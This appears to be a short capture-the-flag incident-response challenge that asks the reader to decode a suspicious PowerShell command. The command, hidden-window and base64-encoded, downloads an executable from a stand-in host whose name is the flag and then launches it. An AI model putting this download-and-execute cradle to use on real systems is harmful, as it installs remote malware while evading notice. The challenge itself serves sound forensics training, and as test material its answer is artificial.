While investigating an incident, you identify a suspicious powershell command that was run on a compromised system ... can you figure out what it was doing?

C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -noP -sta -w 1 -enc TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vTWV0YUNURntzdXBlcl9zdXNfc3Q0Z2luZ19zaXRlX2QwdF9jMG19L19iYWQuZXhlJywnYmFkLmV4ZScpO1N0YXJ0LVByb2Nlc3MgJ2JhZC5leGUn